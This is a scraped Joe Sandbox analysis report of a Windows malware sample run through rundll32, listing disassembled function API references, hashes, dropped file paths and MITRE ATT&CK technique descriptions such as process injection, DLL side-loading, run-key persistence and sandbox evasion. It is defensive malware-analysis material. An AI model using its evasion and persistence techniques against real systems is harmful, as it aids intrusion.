strrchr.MSVCRT ref: 10005484
strrchr.MSVCRT ref: 100054D1

Strings

123, xrefs: 10005474

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: strrchr
String ID: 123
API String ID: 3418686817-2286445522
Opcode ID: 237b865c981e04fbe9b07c6cb26367ff6a21c7b05088142f919ac67509ad86a0
Instruction ID: 91c88f2fdba39316f7f8c12ec317d5d5c799cc6de1d8f02641f729906415f28d
Opcode Fuzzy Hash: 237b865c981e04fbe9b07c6cb26367ff6a21c7b05088142f919ac67509ad86a0
Instruction Fuzzy Hash: 7B218CB52042042BF314C238AC46BBB3BC4DB80365F54062DFA169B1D2EDBBEA898255

Function 100116B0 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,?,00000000,00000000,10009F7F,?,Win32_NetworkAdapterConfiguration), ref: 100116C2
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000001), ref: 100116E9
GetLastError.KERNEL32(?,00000001), ref: 100116F9
GetLastError.KERNEL32(?,00000001), ref: 100116FF

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidelstrlen
String ID:
API String ID: 475730466-0
Opcode ID: 74a0a33ca5c9cfc2f231fa8d56fa11b01f59c705ee89c98f7395991253ccdf2e
Instruction ID: 8a47316f605976b62342ead09f9e2ff78638c0d05c570057b729d602be0c9d28
Opcode Fuzzy Hash: 74a0a33ca5c9cfc2f231fa8d56fa11b01f59c705ee89c98f7395991253ccdf2e
Instruction Fuzzy Hash: 2B01F432504226ABD7119B60CC45BDB3FB8EF023A1F204130F804DA290E730D5A1C6A5

Analysis Process: rundll32.exePID: 3384, Parent PID: 2580COMMON

Executed Functions

Function 006105A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00610625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00610658

Memory Dump Source

Source File: 00000007.00000003.1850079303.0000000000610000.00000040.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_610000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: b5c46f0294e5c5599113ec4cd8d7762fe15ee4307875876b292ad457f0063e86
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: 66210835A00219BFEF008F64CC45BEEFBF6FB54394F648166E910A2280E7B44A919B94

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report otsIBG7J9b.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\1.txt

C:\agtve\yhnvs.dll

C:\ufcpp.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
otsIBG7J9b.exe

Function 00401220 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 136
sleepfileprocessCOMMON

Function 00401140 Relevance: 4.6, APIs: 3, Instructions: 71
fileCOMMON

Function 00415F67 Relevance: 3.2, APIs: 2, Instructions: 200
memoryCOMMON

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Function 00401DE0 Relevance: 9.1, APIs: 6, Instructions: 71
windowCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre